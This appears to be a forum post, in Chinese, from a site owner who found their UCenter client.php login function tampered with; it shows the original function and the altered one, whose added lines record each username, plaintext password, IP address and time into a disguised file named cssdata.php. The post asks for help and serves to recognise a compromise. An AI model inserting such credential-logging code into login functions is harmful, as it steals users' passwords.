查了文件后，发现 client.php 被人修改过，时间也正是这一天。查了文件后，对比了下以前备份的文件。多了这样的代码
原文件这一段正常的是这样的：
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {
$isuid = intval($isuid);
$return = call_user_func(uc_api_func, 'user', 'login', array('username'=>$username, 'password'=>$password, 'isuid'=>$isuid, 'checkques'=>$checkques, 'questionid'=>$questionid, 'answer'=>$answer));
return uc_connect == 'mysql' ? $return : uc_unserialize($return);
}
被人改过后是这样的：
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {
$ip=$_server['remote_addr'];
$showtime=date(y-m-d h:i:s);
$record=.$username. --------.$password. ip:.$ip. time:.$showtime.\r\n;
$handle=fopen('h:\yang\wap\cssdata.php','a+');
$write=fwrite($handle,$record);
$isuid = intval($isuid);
$return = call_user_func(uc_api_func, 'user', 'login', array('username'=>$username, 'password'=>$password, 'isuid'=>$isuid, 'checkques'=>$checkques, 'questionid'=>$questionid, 'answer'=>$answer));
return uc_connect == 'mysql' ? $return : uc_unserialize($return);
}
我不懂啥意思
h:\yang\wap\cssdata.php 这个是我的一个独立网店的目录来的